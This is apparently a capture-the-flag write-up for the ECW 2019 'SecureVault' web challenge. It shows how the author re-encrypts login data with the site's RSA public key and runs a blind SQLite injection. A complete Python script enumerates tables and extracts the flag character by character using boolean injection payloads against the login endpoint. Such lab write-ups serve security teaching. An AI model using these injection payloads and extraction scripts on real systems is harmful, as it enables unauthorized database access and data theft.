ECW 2019 CTF Qualification - SecureVault
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
ECW 2019 CTF Qualification | SecureVault | Web | 50 | 87 |
Yet Another online Vault mais celui-là est sécurisé avec de la cryptographie de qualité!
TL;DR
This was a blind SQLite injection with RSA encryption for submitted data.
Methodology
When we arrive on the website, we got a login page:
If we look at the html source code we got the following source code:
<!DOCTYPE html>
<html lang="en">
<head>
<title>Secure Vault Login</title>
<script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
<script src="static/js/jsencrypt.min.js"></script>
<script>
$(document).ready(function () {
$("#challenge").submit(function (event) {
event.preventDefault();
var encrypt = new JSEncrypt();
encrypt.setPublicKey($('#pubkey').val());
email = $('#email').val();
passwd = $('#passwd').val();
jsonlogin = {
"email": email,
"passwd": passwd
}
var encrypted = encrypt.encrypt(JSON.stringify(jsonlogin));
$.post( "/login",{encrypted:encrypted}, function( data ) {
$('#content').text(data)
$('#msg_modal').on('shown.bs.modal', function () {}).modal('show');
});
})
});
</script>
[...]
<input type=hidden id="pubkey" value="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----">
RSA
First of all we can see that when we try to login on the website, the data is cipher with RSA encryption using a public key with JSEncrypt
. For this I search on google for “JSEncrypt to python” and got a StackOverflow post with a little implementation using the Crypto library using RSA and PKCS1_v1_5. I decided to implement it:
import requests
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64
url = "https://web_securevault.challenge-ecw.fr/login"
s = requests.session()
cook = {"session":"[REDACTED]"}
pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""
def inject(i):
data = {
"email":i,
"passwd":"x"
}
jsondata = json.dumps(data, separators=(',', ':'))
rsa_key = RSA.importKey(pubkey)
cipher = PKCS1_v1_5.new(rsa_key)
newdata = base64.b64encode(cipher.encrypt(jsondata))
r = s.post(url,{"encrypted":newdata},cookies=cook)
return r.text
print(inject("test"))
We got answer BAD USERNAME/PASSWORD !
, not that if data wasn’t valid, we would have Invalid input
as anwser. Our python rsa script is ok.
SQLite injection
With few test, ce can easily trigger a SQL injection:
print(inject("' OR 1=0 --"))
print(inject("' OR 1=1 --"))
Output:
BAD USERNAME/PASSWORD !
Welcome back! Unfortunately we are under maintenance, please come back later :)
I decided to reuse my write-up A Simple Question which was an SQLite injection. So here is the full script to dump the database:
import requests
import string
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64
url = "https://web_securevault.challenge-ecw.fr/login"
s = requests.session()
cook = {"session":"[REDACTED]"}
pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""
def isTrue(r):
return "Welcome back" in r.text or "flag" in r.text
def inject(i):
data = {
"email":i,
"passwd":"x"
}
jsondata = json.dumps(data, separators=(',', ':'))
rsa_key = RSA.importKey(pubkey)
cipher = PKCS1_v1_5.new(rsa_key)
newdata = base64.b64encode(cipher.encrypt(jsondata))
r = s.post(url,{"encrypted":newdata},cookies=cook)
return isTrue(r)
def p_inject(i):
res = inject(i)
print(i+" => "+str(res))
return res
for i in range(5):
p_inject("' OR 1=1 AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = "+str(i)+" --")
# ==> Only 2 table
for i in range(10):
p_inject("' OR 1=1 AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' and tbl_name not like 'users' limit 1 offset 0) = "+str(i)+" --")
# ==> Table name 1 is 5 chars (users)
# ==> Table name 2 is 5 chars
tableName = ""
for i in range(7):
for c in string.printable:
r = p_inject("' OR 1=1 and (SELECT hex(substr(tbl_name,"+str(i+1)+",1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name NOT like 'users' limit 1 offset 0) = hex('"+str(c)+"') --")
if r:
tableName += c
break
print("Table name: "+str(tableName))
# ==> Table name is "users"
# ==> Table name is "vault"
for i in range(10):
p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY "+str(i)+") --")
# ==> Answer has 1 column
for i in range(10):
p_inject("' OR 1=1 AND (SELECT count(*) FROM vault ) = "+str(i)+" --")
# ==> Answer has 1 record
p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY flag) --")
# ==> Answer has 1 column named "flag" (guessing)
for i in range(45,100):
p_inject("' OR 1=1 AND (SELECT length(flag) FROM vault) > "+str(i)+" --")
# ==> Length of answer is 69
answer = ""
for i in range(69):
for c in string.printable:
r = p_inject("' OR 1=1 and (SELECT hex(substr(flag,"+str(i+1)+",1)) FROM vault) = hex('"+str(c)+"') --")
if r:
answer += c
break
print("Answer: "+str(answer))
Output
Answer: ECW'9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3'
Flag
ECW{9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3}